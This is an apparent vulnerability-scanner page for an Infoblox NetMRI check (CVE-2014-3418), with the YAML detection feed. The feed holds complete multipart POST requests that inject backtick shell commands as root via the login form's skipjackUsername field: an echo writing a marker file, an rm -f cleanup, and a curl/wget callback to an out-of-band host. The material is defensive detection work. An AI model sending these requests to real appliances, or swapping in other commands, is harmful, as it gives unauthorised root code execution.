Infoblox NetMRI — 1 vulnerability check
noctis ships 1 vulnerability check for Infoblox NetMRI, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Infoblox NetMRI login.tdf Unauthenticated OS Command Injection
| CVE | CVE-2014-3418 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/infoblox-netmri/CVE-2014-3418.yaml |
Detects the Infoblox NetMRI (6.4.x through 6.8.4.x; also Switch Port Manager, Automation Change Manager, Security Device Controller) unauthenticated OS command injection in the skipjackUsername field of /netmri/config/userAdmin/login.tdf, which runs as root. Confirmation writes an inert per-run text marker whose content only a real shell can produce (arithmetic expansion), reads it back from /webui/, and removes it. When OOB is configured, a blind curl/wget callback covers appliances where the read-back is not possible.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /netmri/config/userAdmin/login.tdfwith a crafted body - HTTP(S) request
GET /webui/{{p.fname}}.txt - HTTP(S) request
POST /netmri/config/userAdmin/login.tdfwith a crafted body - Checks
readback.bodyforNOCTIS[0-9]{6,7}→ finding QoD 97: Infoblox NetMRI command injection confirmed via skipjackUsername in /netmri/config/userAdmin/login.tdf (HTTP …): the injected echo NOCTIS$(… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /netmri/config/userAdmin/login.tdfwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Infoblox NetMRI blind command injection confirmed via skipjackUsername in /netmri/config/userAdmin/login.tdf: a shell collapsed the $()-spl…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-3418
- https://seclists.org/bugtraq/2014/Jul/42
- https://www.exploit-db.com/exploits/34030
Feed source — tests/vulnerabilities/infoblox-netmri/CVE-2014-3418.yaml
# Infoblox NetMRI 6.4.x – 6.8.4.x — unauthenticated OS command injection as
# root in the login form (CVE-2014-3418).
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_netmri_os_cmd_injec_07_14.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105061, GPL-2.0-only). Advisory: Depth Security,
# Bugtraq 2014-07-09 ("OS Command Injection in Infoblox Network Automation
# Products"), EDB-34030. Fixed in NetMRI 6.8.5 (hotfix v6.X-NETMRI-20710).
#
# POST /netmri/config/userAdmin/login.tdf (multipart, mode=DO-LOGIN) passes the
# `skipjackUsername` field to a shell without sanitisation, so a backtick
# command substitution runs as root before any authentication. The command
# output is not returned (blind); the NASL redirects it into the web UI's
# static directory (/var/home/tools/skipjack/app/webui/, served as /webui/)
# and fetches it back.
#
# Detection — two benign proofs, nothing executable is ever written:
# 1. In-band write-then-read of an inert text marker (QoD 97). A `script`
# step mints two random integers a and b and an independent per-run file
# name. The injected command is `echo NOCTIS$((a+b)) > <webui>/<name>.txt`;
# only a real shell evaluates the arithmetic, so the file holds
# NOCTIS<a+b>, a value that never appears in any request. The feed GETs
# /webui/<name>.txt and requires that exact value. A second injection
# `rm -f <webui>/<name>.txt` removes the file before the verdict, whatever
# the read-back returned (the NASL never removes its file).
# 2. Blind fallback, OOB callback (QoD 97, only when OOB is configured and
# step 1 did not fire). Same injection point, the command is
# `curl -s -o /dev/null <url> || wget -q -O /dev/null <url>`,
# <url> = http://<oob>/<a>$()<b>, where <a><b> = oob_token; the token is
# split by an empty $() so only a real shell rebuilds the callback path.
# Output goes to /dev/null, nothing is stored.
#
# Deviations from the NASL (intentional):
# - Fewer false positives: the NASL writes and looks for a literal random
# string that is also in its request, so a server reflecting the posted
# form into the /webui/ catch-all page would match. Here the matched value
# NOCTIS<a+b> is only produced by a shell evaluating $((a+b)).
# - Better coverage: the NASL needs the login POST to answer exactly 200 and
# needs a prior NetMRI fingerprint (CPE); appliances that answer the login
# with a redirect (302 back to the form) are missed. This feed reads the
# file back whatever the POST status was, and the OOB branch also catches
# appliances whose webui directory is not writable or not served.
# - Cleanup: the dropped marker file is removed by a second injection.
# - CVE scope: the NVT is tagged CVE-2014-3418 + CVE-2014-3419, but
# CVE-2014-3419 is the weak local MySQL root password (CWE-521, local
# access only) and cannot be proven over HTTP, so this feed only claims
# CVE-2014-3418.
uid: 4fbf9111-4a33-4cd7-9ed3-5cce7682e3cb
name: "Infoblox NetMRI login.tdf Unauthenticated OS Command Injection (CVE-2014-3418)"
description: |
Detects the Infoblox NetMRI (6.4.x through 6.8.4.x; also Switch Port
Manager, Automation Change Manager, Security Device Controller) unauthenticated
OS command injection in the skipjackUsername field of
/netmri/config/userAdmin/login.tdf, which runs as root. Confirmation writes an
inert per-run text marker whose content only a real shell can produce
(arithmetic expansion), reads it back from /webui/, and removes it. When OOB
is configured, a blind curl/wget callback covers appliances where the
read-back is not possible.
cves: [CVE-2014-3418]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [infoblox, netmri, network-automation, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3418"
- "https://seclists.org/bugtraq/2014/Jul/42"
- "https://www.exploit-db.com/exploits/34030"
steps:
# Two per-run integers (their sum is the proof) and an independent per-run
# file name, so a server that echoes the requested path or the posted form
# can never show the marker.
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, marker: "NOCTIS" + (a + b), bound: rand_hex(16), fname: "nx" + rand_hex(8) }
store_as: p
# skipjackUsername = admin`echo NOCTIS$((a+b)) > <webui>/<name>.txt`
# Field set and order follow the NASL (and the login form).
- id: inject-write
action: http_request
method: POST
path: "/netmri/config/userAdmin/login.tdf"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "multipart/form-data; boundary=---------------------------{{p.bound}}"
body: "-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"_formStack\"\r\n\r\nnetmri/config/userAdmin/login\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\nDO-LOGIN\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"eulaAccepted\"\r\n\r\nDecline\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"TrustToken\"\r\n\r\n\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"skipjackUsername\"\r\n\r\nadmin`echo NOCTIS$(({{p.a}}+{{p.b}})) > /var/home/tools/skipjack/app/webui/{{p.fname}}.txt`\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"skipjackPassword\"\r\n\r\nadmin\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"weakPassword\"\r\n\r\ntrue\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"x\"\r\n\r\n0\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"y\"\r\n\r\n0\r\n-----------------------------{{p.bound}}--\r\n"
store_as: write_resp
- id: readback
action: http_request
method: GET
path: "/webui/{{p.fname}}.txt"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: readback
# Remove the marker file before deciding. Unconditional on purpose: if the
# injection POST timed out or was reset after the shell already ran, the
# file may exist even though write_resp is undefined. rm -f is idempotent.
- id: cleanup
action: http_request
method: POST
path: "/netmri/config/userAdmin/login.tdf"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "multipart/form-data; boundary=---------------------------{{p.bound}}"
body: "-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"_formStack\"\r\n\r\nnetmri/config/userAdmin/login\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\nDO-LOGIN\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"eulaAccepted\"\r\n\r\nDecline\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"TrustToken\"\r\n\r\n\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"skipjackUsername\"\r\n\r\nadmin`rm -f /var/home/tools/skipjack/app/webui/{{p.fname}}.txt`\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"skipjackPassword\"\r\n\r\nadmin\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"weakPassword\"\r\n\r\ntrue\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"x\"\r\n\r\n0\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"y\"\r\n\r\n0\r\n-----------------------------{{p.bound}}--\r\n"
store_as: cleanup_resp
# Confirm RCE: the file holds NOCTIS<a+b>, which only a shell evaluating
# $((a+b)) produces. If the read-back failed, `readback` is undefined and the
# condition is false.
- id: confirm
action: match
source: readback.body
pattern: "NOCTIS[0-9]{6,7}"
condition: "readback.status == 200 && stridx(readback.body, p.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Infoblox NetMRI command injection confirmed via skipjackUsername in /netmri/config/userAdmin/login.tdf (HTTP {{write_resp.status}}): the injected echo NOCTIS$(({{p.a}}+{{p.b}})) wrote the shell-evaluated marker {{p.marker}} to /webui/{{p.fname}}.txt, read back over HTTP; an rm -f of the file was then injected"
stop: true
# Blind fallback (reached only when the in-band proof did not fire).
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: http_request
method: POST
path: "/netmri/config/userAdmin/login.tdf"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled"
headers:
Content-Type: "multipart/form-data; boundary=---------------------------{{p.bound}}"
body: "-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"_formStack\"\r\n\r\nnetmri/config/userAdmin/login\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\nDO-LOGIN\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"eulaAccepted\"\r\n\r\nDecline\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"TrustToken\"\r\n\r\n\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"skipjackUsername\"\r\n\r\nadmin`curl -s -o /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}} || wget -q -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}}`\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"skipjackPassword\"\r\n\r\nadmin\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"weakPassword\"\r\n\r\ntrue\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"x\"\r\n\r\n0\r\n-----------------------------{{p.bound}}\r\nContent-Disposition: form-data; name=\"y\"\r\n\r\n0\r\n-----------------------------{{p.bound}}--\r\n"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Infoblox NetMRI blind command injection confirmed via skipjackUsername in /netmri/config/userAdmin/login.tdf: a shell collapsed the $()-split OOB token and the injected curl/wget fetched the per-run OOB URL (HTTP callback received)"
stop: true